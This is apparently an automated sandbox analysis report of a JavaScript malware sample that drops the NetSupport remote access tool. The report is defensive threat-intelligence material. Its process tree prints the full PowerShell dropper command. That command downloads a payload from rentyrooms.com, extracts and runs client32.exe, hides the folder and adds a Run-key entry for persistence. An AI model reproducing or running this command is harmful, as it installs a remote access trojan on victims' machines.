Analysis
- max time kernel
148s - max time network
160s - platform
windows10-2004_x64 - resource
win10v2004-20240802-en - resource tags
- submitted
31/08/2024, 14:57
General
- Target ba583aa6128b64d9c417f5463d6716aa6d112c77cc69e9a643dafa8fb7738b99.js
- Size 2.6MB
- Sample240831-sb2p2azarg
- SHA256 ba583aa6128b64d9c417f5463d6716aa6d112c77cc69e9a643dafa8fb7738b99
Malware Config
Extracted
-
ps1
-
ps1.dropper
https://rentyrooms.com/cdn-vs/data.php?13536
-
exe.dropper
https://rentyrooms.com/cdn-vs/data.php?13536
Signatures
- NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
- Blocklisted process makes network request 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 5 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\ba583aa6128b64d9c417f5463d6716aa6d112c77cc69e9a643dafa8fb7738b99.js1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $IEBSEGJH='https://rentyrooms.com/cdn-vs/data.php?13536';$RPFDF=(New-Object System.Net.WebClient).DownloadString($IEBSEGJH);$JYCOG=[System.Convert]::FromBase64String($RPFDF);$asd = Get-Random -Minimum -10 -Maximum 17; $JXSHZIG=[System.Environment]::GetFolderPath('ApplicationData')+'\QCHJTK'+$asd;if (!(Test-Path $JXSHZIG -PathType Container)) { New-Item -Path $JXSHZIG -ItemType Directory };$p=Join-Path $JXSHZIG 'CC.zip';[System.IO.File]::WriteAllBytes($p,$JYCOG);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$JXSHZIG)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $JXSHZIG 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $JXSHZIG -Force; $fd.attributes='Hidden';$s=$JXSHZIG+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='NCPDFAGJB';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\QCHJTK10\client32.exe"C:\Users\Admin\AppData\Roaming\QCHJTK10\client32.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_vh0beiuu.fgf.ps1
HTCTL32.DLL
MSVCR100.dll
NSM.LIC
PCICHEK.DLL
PCICL32.dll
client32.exe
client32.ini
pcicapi.dll
memory/4820-15-0x00000269E9BF0000-0x00000269E9C02000-memory.dmp
memory/4820-0-0x00007FF961823000-0x00007FF961825000-memory.dmp
memory/4820-14-0x00000269E9BC0000-0x00000269E9BCA000-memory.dmp
memory/4820-12-0x00007FF961820000-0x00007FF9622E1000-memory.dmp
memory/4820-11-0x00007FF961820000-0x00007FF9622E1000-memory.dmp
memory/4820-83-0x00007FF961820000-0x00007FF9622E1000-memory.dmp
memory/4820-10-0x00000269E9B90000-0x00000269E9BB2000-memory.dmp